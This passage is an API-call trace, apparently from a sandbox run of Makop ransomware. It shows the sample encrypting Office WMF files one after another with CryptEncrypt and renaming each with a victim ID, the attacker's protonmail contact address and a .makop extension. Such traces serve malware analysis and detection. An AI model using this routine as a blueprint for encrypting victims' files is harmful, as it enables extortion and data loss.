hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.909] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0165.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.913] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.913] GetProcessHeap () returned 0x48a0000 [0165.913] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.913] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.913] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.913] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.913] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.913] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.913] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.914] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.914] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.914] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5b4, lpOverlapped=0x0) returned 1 [0165.914] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5c0) returned 1 [0165.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.914] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5c0, lpOverlapped=0x0) returned 1 [0165.915] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.915] SetEndOfFile (hFile=0x130) returned 1 [0165.922] GetProcessHeap () returned 0x48a0000 [0165.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.922] GetProcessHeap () returned 0x48a0000 [0165.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.922] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.924] CloseHandle (hObject=0x130) returned 1 [0165.924] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0165.924] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF") returned 70 [0165.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.926] GetProcessHeap () returned 0x48a0000 [0165.926] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.926] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.926] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0165.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.930] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.930] GetProcessHeap () returned 0x48a0000 [0165.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.930] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.930] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.930] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.930] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.930] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.931] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.931] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.931] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.931] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.931] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5c4, lpOverlapped=0x0) returned 1 [0165.931] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5d0) returned 1 [0165.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.932] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5d0, lpOverlapped=0x0) returned 1 [0165.932] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.932] SetEndOfFile (hFile=0x130) returned 1 [0165.938] GetProcessHeap () returned 0x48a0000 [0165.938] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.938] GetProcessHeap () returned 0x48a0000 [0165.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.939] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.943] CloseHandle (hObject=0x130) returned 1 [0165.944] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0165.944] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF") returned 70 [0165.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.945] GetProcessHeap () returned 0x48a0000 [0165.945] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.945] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.945] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.945] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.949] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.949] GetProcessHeap () returned 0x48a0000 [0165.950] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.950] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.950] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.950] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.951] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.951] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.951] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.951] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.951] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.952] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc3c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc3c, lpOverlapped=0x0) returned 1 [0165.952] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc40, dwBufLen=0xc40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc40) returned 1 [0165.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.952] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc40, lpOverlapped=0x0) returned 1 [0165.952] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.952] SetEndOfFile (hFile=0x130) returned 1 [0165.958] GetProcessHeap () returned 0x48a0000 [0165.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.958] GetProcessHeap () returned 0x48a0000 [0165.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.958] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.960] CloseHandle (hObject=0x130) returned 1 [0165.960] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0165.960] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF") returned 70 [0165.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.962] GetProcessHeap () returned 0x48a0000 [0165.962] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.962] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.962] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.966] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.966] GetProcessHeap () returned 0x48a0000 [0165.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.966] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.966] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.966] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.966] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.966] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.967] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.967] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.967] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.967] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x61c, lpOverlapped=0x0) returned 1 [0165.967] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x620) returned 1 [0165.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.968] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x620, lpOverlapped=0x0) returned 1 [0165.968] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.968] SetEndOfFile (hFile=0x130) returned 1 [0165.974] GetProcessHeap () returned 0x48a0000 [0165.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.974] GetProcessHeap () returned 0x48a0000 [0165.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.974] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.975] CloseHandle (hObject=0x130) returned 1 [0165.975] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0165.976] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program 